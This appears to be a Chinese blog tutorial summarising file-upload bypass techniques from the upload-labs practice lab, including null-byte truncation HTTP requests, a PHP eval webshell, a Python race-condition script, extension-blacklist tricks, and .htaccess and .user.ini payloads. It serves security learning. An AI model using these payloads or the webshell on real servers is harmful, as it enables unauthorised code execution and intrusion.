文件上传简单的绕过总结

目录

绕过前端JS校验

修改MIME头

白名单校验

%00截断

00截断

图片马+文件包含漏洞

getimagesize()绕过

exif_imagetype()绕过

二次渲染绕过

条件竞争

黑名单校验

扩展名绕过

大小写绕过

双写绕过

win环境末尾加.绕过

win环境末尾加空格绕过

win环境NTFS数据流绕过

[win环境. . 绕过](#win环境. . 绕过)

上传.htaccess

上传.user.ini

绕过前端JS校验

修改MIME头

白名单校验

%00截断

url文件上传路径可控,且是GET方式如

bash 复制代码
POST /Pass-12/index.php?save_path=../upload/ HTTP/1.1
Host: 192.168.112.1
Content-Length: 317
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywbRn0IlTa7M4vDez
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-12/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundarywbRn0IlTa7M4vDez--

通过将路径写成save_path=../upload/1.php%00,随后请求头参数写成filename=1.jpg,首先1.jpg绕过白名单校验,随后路径拼接并保存为../upload/1.php%001.jpg,但是服务端读取解析时遇到%00会将后面的截断,所以解析的实际上是1.php文件而不是1.php%001.jpg文件。

00截断

url文件上传路径可控,且是POST方式如

bash 复制代码
POST /Pass-13/index.php HTTP/1.1
Host: 192.168.112.1
Content-Length: 423
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryinAJxRHj968kAgcE
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-13/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="save_path"

../upload/
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundaryinAJxRHj968kAgcE--

POST方式,url可控但是在请求体中,文件名也在请求体中,这里我们通过将../upload/写为../upload/1.php+,随后使用十六进制形式将+号的十六进制形式改为00,随后文件名为1.jpg然后放包就可以了,这里为什么不直接拼接%00呢?因为使用POST方式不能对%00进行解码,但是GET方式就可以,这个思路跟%00截断大差不差。

图片马+文件包含漏洞

使用windows的cmd制作图片马

随后配合文件包含漏洞

getimagesize()绕过

可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a

exif_imagetype()绕过

可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a

二次渲染绕过

有些二次渲染会将原本的包含图片马进行损坏,这里可以通过使用010editor编辑一个二次渲染后图片马不会损坏的图片马,这里直接给出一个二次渲染后不会损坏的图片马点击这里,该图片马内容为,随后配合文件包含漏洞打组合拳即可。

php 复制代码
<?php @eval($_POST['zoe']);?>

条件竞争

python脚本(url改成你们自己上传文件后的路径)

python 复制代码
import requests
import threading
import os
 
 
class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'
 
    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print(r.text)
            os._exit(0)
 
    def run(self):
        while True:
            for i in range(5):
                self._get()
 
            for i in range(10):
                self._get()
 
 
if __name__ == '__main__':
    threads = 50
 
    for i in range(threads):
        t = RaceCondition()
        t.start()
 
    for i in range(threads):
        t.join()

这个脚本的作用是不断访问上传的木马文件1.php,直到访问成功(返回200状态码)时才停止访问。

然后burp爆破无限上传1.php,随后脚本执行,即可能条件竞争成功。

黑名单校验

扩展名绕过

1.php->1.php3

1.php3,1.php4,1.php5,1.php6,1.php7

1.phtml

大小写绕过

1.php->1.PHp

双写绕过

1.php->1.pphphp

win环境末尾加.绕过

1.php->1.php.

win环境末尾加空格绕过

1.php->1.php

win环境NTFS数据流绕过

1.php->1.php::$DATA

win环境. . 绕过

1.php->1.php. .

上传.htaccess

.htaccess文件内容如下

bash 复制代码
AddType application/x-httpd-php .jpg

首先上传1个.htaccess文件,接着上传一个1.jpg文件,文件中包含php恶意代码。

当尝试访问1.jpg文件时,Apache会尝试将它作为php脚本并执行,而不是显示它作为图象文件。

上传.user.ini

.user.ini文件内容如下

bash 复制代码
auto_prepend_file=1.jpg(与自己上传的文件名相同)

先上传.user.ini文件,接着上传一个1.jpg文件,文件中包含php恶意代码。

当尝试访问1.jpg文件时,开启了fastcgi的服务器如(Nginx,Apache)会尝试将它作为php脚本并执行,而不是显示它作为图象文件。

AddType application/x-httpd-php .jpg

auto_prepend_file=1.jpg

相关推荐
饭小猿人2 小时前
Android 腾讯X5WebView如何禁止系统自带剪切板和自定义剪切板视图
android·java
_李小白3 小时前
【android opencv学习笔记】Day 8: remap(像素位置重映射)
android·opencv·学习
美狐美颜SDK开放平台3 小时前
多场景美颜SDK解决方案:直播APP(iOS/安卓)开发接入详解
android·人工智能·ios·音视频·美颜sdk·第三方美颜sdk·短视频美颜sdk
嗷o嗷o3 小时前
Android BLE 里,MTU、分包和长数据发送到底该怎么处理
android
Gary Studio5 小时前
Android AIDL HAL工程结构示例
android
y = xⁿ5 小时前
MySQL八股知识合集
android·mysql·adb
andr_gale6 小时前
04_rc文件语法规则
android·framework·aosp
祖国的好青年7 小时前
VS Code 搭建 React Native 开发环境(Windows 实战指南)
android·windows·react native·react.js
黄林晴7 小时前
警惕!AGP 9.2 别只改版本号,R8 规则与构建链路全线收紧
android·gradle